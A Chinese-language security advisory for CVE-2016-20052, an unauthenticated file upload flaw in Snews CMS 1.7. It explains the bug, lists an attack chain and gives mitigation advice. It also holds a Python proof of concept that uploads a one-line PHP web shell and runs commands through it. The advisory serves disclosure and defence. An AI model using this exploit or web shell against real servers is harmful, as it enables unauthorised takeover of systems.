IPBUF安全漏洞报告
English
CVE-2016-20052 CVSS 9.8 严重

CVE-2016-20052 Snews CMS 1.7 无限制文件上传漏洞

披露日期: 2026-04-04

漏洞信息

漏洞编号
CVE-2016-20052
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Snews CMS

相关标签

RCE文件上传Snews CMSCVE-2016-20052Web安全

漏洞概述

Snews CMS 1.7 版本中存在严重的安全漏洞,即无限制文件上传漏洞。由于缺乏适当的身份验证和文件类型验证,未经身份验证的攻击者可以通过特定的表单端点上传包含恶意代码的 PHP 文件。一旦文件成功上传至服务器的 snews_files 目录,攻击者即可通过浏览器访问该文件路径,触发远程代码执行,进而获取服务器权限。

技术细节

该漏洞的根本原因在于 Snews CMS 的文件上传处理逻辑存在缺陷。系统未对上传者的身份进行验证,也未对上传文件的类型、后缀名及内容进行严格的过滤和检查。攻击者可以构造一个恶意的 HTTP POST 请求,利用 multipart/form-data 格式,将伪装后的 PHP 脚本发送至服务器端的处理接口。服务器接收请求后,直接将文件保存在 Web 根目录下的 snews_files 文件夹中,且未更改文件后缀。由于该目录通常具有可执行权限,攻击者只需通过 HTTP GET 请求访问该 PHP 文件的 URL,Web 服务器解析器就会执行其中的 PHP 代码,从而实现远程代码执行(RCE)。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器正在运行 Snews CMS 1.7 版本。
STEP 2
构造载荷
攻击者创建一个包含恶意 PHP 代码的文件(如 Webshell)。
STEP 3
上传文件
攻击者向未授权的文件上传端点发送 POST 请求,将恶意文件上传到 snews_files 目录。
STEP 4
执行代码
攻击者通过浏览器访问上传的 PHP 文件 URL,触发服务器端代码执行,从而获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com" upload_endpoint = target_url + "/index.php" # Adjust endpoint based on actual path # Malicious PHP payload php_shell = "<?php system($_GET['cmd']); ?>" # Prepare the file upload request files = { 'file': ('shell.php', php_shell, 'application/octet-stream') } data = { 'task': 'upload', # Parameter name may vary depending on implementation 'category': 'files' } try: response = requests.post(upload_endpoint, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Try accessing: {target_url}/snews_files/shell.php?cmd=whoami") else: print("[-] Upload failed.") except Exception as e: print(f"Error: {e}")

影响范围

Snews CMS 1.7

防御指南

临时缓解措施
如果无法立即升级,建议通过 Web 服务器配置(如 .htaccess 或 nginx.conf)禁用 snews_files 目录下的脚本执行权限,或者临时限制对该目录的 HTTP 访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表